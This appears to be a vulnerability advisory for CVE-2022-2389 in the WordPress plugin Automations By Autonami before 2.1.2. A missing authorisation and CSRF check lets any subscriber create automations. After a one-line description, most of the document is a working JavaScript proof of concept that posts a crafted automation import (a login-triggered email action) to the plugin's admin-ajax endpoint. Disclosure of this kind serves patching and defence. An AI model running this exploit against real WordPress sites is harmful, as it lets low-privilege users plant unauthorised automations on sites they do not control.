Automations By Autonami < 2.1.2 – Subscriber+ Automation Creation | CVE 2022-2389

Description

The plugin does not have authorisation and CSRF checks in one of its AJAX action, allowing any authenticated users, such as subscriber to create automations

Proof of Concept

var data = new FormData()
data.append('file',new Blob(['[{"data":{"source":"wp","event":"wp_user_login","start":"1","v":"2"},"meta":{"title":"t","event_meta":"","actions":"","a_track_id":0,"condition":"","run_count":0,"ui":"","requires_update":0,"uiData":"","steps":[{"id":"start","type":"start","data":{"icon":"rocket","event":"wp_user_login","evtGroup":"wp","count":0,"note":""},"hidden":false,"position":{"x":0.0004269199384684752,"y":-23.5},"targetPosition":"top","sourcePosition":"bottom","hasMultiParents":false},{"id":"end","type":"end","data":{"label":"End Automation"},"hidden":false,"position":{"x":0.00015686161315141622,"y":357.5},"targetPosition":"top","sourcePosition":"bottom","hasMultiParents":false},{"id":"3","type":"action","stepId":1,"step_status":2,"hidden":false,"data":[],"position":{"x":0.0007870621141599978,"y":159.5},"targetPosition":"top","sourcePosition":"bottom","hasMultiParents":false}],"links":[{"id":"endlink","source":"3","target":"end","sourceHandle":"","animated":false,"label":"","isHidden":false},{"id":"2-3","source":"start","label":"","target":"3","sourceHandle":"","animated":false}],"count":"3","step_iteration_array":{"1":[{"next":"end","type":"end"}],"start":[{"next":1,"type":"action"}]}},"step_data":{"1":{"ID":"1","aid":"1","type":"2","action":"{\\"action\\":\\"wp_sendemail\\",\\"intergration\\":\\"wp\\"}","status":"1","data":"{\\"sidebarData\\":{\\"bwfan_email_to\\":\\"example@example.com\\",\\"bwfan_email_data\\":{\\"subject\\":\\"test\\",\\"data\\":{\\"preheader\\":\\"\\",\\"utmEnabled\\":false,\\"utm\\":{\\"source\\":\\"Newsletter\\",\\"medium\\":\\"email\\",\\"name\\":\\"\\",\\"content\\":\\"\\",\\"term\\":\\"\\"},\\"isTransactional\\":false,\\"overrideSenderInfo\\":false},\\"mode\\":1,\\"template\\":\\"<\\\\\\/p>Hi {{contact_first_name}},<\\\\\\/p><p><\\\\\\/p><p><span style=\\\\\\"font-size: 14px; font-family: arial, helvetica, sans-serif;\\\\\\">{{business_name}}, {{business_address}}<\\\\\\/span><br \\\\\\/><span style=\\\\\\"font-size: 14px; font-family: arial, helvetica, sans-serif;\\\\\\"><a href=\\\\\\"{{unsubscribe_link}}\\\\\\">unsubscribe<\\\\\\/a><\\\\\\/span><\\\\\\/p>\\"}}}","created_at":"2022-07-10 13:11:27","updated_at":"2022-07-10 13:12:56"}}}]']),'x')
fetch('/wp-admin/admin-ajax.php?action=bwf_import_automations_json_file', {
  method: 'POST',
  body: data
}).then(response => response.text())
  .then(data => console.log(data));